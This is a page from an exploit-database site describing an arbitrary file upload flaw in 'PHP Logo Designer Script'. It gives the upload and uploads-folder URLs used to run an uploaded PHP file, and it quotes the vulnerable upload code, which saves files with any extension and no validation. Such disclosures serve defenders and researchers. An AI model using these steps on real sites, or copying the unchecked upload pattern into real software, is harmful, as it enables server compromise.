[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

PHP Logo Designer Script - Arbitrary File Upload Vulnerability

Author
Ihsan Sencan
Risk
[
Security Risk Critical
]
0day-ID
0day-ID-26840
Category
web applications
Date add
29-01-2017
Platform
php
# # # # # 
# Exploit Title: PHP Logo Designer Script - Arbitrary File Upload
# Google Dork: N/A
# Date: 30.01.2017
# Vendor Homepage: https://codecanyon.net/item/php-logo-designer/19362231
# Software Buy: https://codecanyon.net/item/php-logo-designer/19362231
# Demo: http://phplogodesigner.000webhostapp.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# Exploit :
# http://localhost/[PATH]/designer.php
# http://localhost/[PATH]/theme/images/uploads/[......PHP]
# # # # #
# uploadImage.php
<?php
$output_dir = "./theme/images/uploads/";
.
.
.
$imagetemp = explode(".", $_FILES["imagefile"]["name"]);
        $newimagename = round(microtime(true)) . '.' . end($imagetemp);
        //move the uploaded file to uploads folder;
        move_uploaded_file($_FILES["imagefile"]["tmp_name"],$output_dir. $newimagename);
     
     echo $output_dir . $newimagename;
    }
 
}
?>
# # # # #

#  0day.today [2024-12-25]  #